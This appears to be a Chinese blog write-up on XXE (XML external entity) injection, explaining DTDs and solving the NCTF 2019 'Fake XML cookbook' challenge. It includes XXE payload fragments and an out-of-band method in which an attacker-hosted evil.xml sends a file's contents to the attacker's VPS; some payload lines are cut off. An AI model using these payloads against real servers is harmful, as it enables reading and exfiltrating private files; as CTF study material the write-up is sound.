xxe漏洞
XXE简介
xxe漏洞原理
未对外部实体进行限制,导致攻击者将代码插入到xml文件中,服务器读取xml恶意文件,形成外部实体注入,产生文件任意读取,命令执行,ssrf等漏洞。
xml
XML 指可扩展标记语言(eXtensible Markup Language)。
XML 被设计用来传输和存储数据,不用于表现和展示数据,HTML 则用来表现数据。
在xml中对实体的引入的方法是:
DTD
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。payload存在的位置
DTD的格式:
1 | <!ENTITY entity-name "entity-value"> 内部实体的声明 |
对于外部实体是可以使用php伪协议和file伪协议的,实现文件的任意读取等漏洞
xxe漏洞利用(有无回显)
题目名称[NCTF 2019]Fake XML cookbook
有回显的做法
这里我们抓到提交包之后很明显是xxe漏洞,因此我们构造一下payload
1 | <?xml version="1.0"?><!DOCTYPE foo [ |
无回显的做法
启动apache服务
1 | systemctl start apache2 |
在/var/www/html 创建一个文件evil.xml
内容为
1 | <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://你的vps ip/?content=%file;'>"> %payload; |
bp这边交payload
1 | <?xml version="1.0" encoding="utf-8"?> |
使用实体dtd访问evil.xml文件,使用payload实体,到”http://你的vps ip/?content=%file;“部分调用file实体读取flag并外带出来。
得到的部分base64解码就可以了
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 红烧花园宝宝!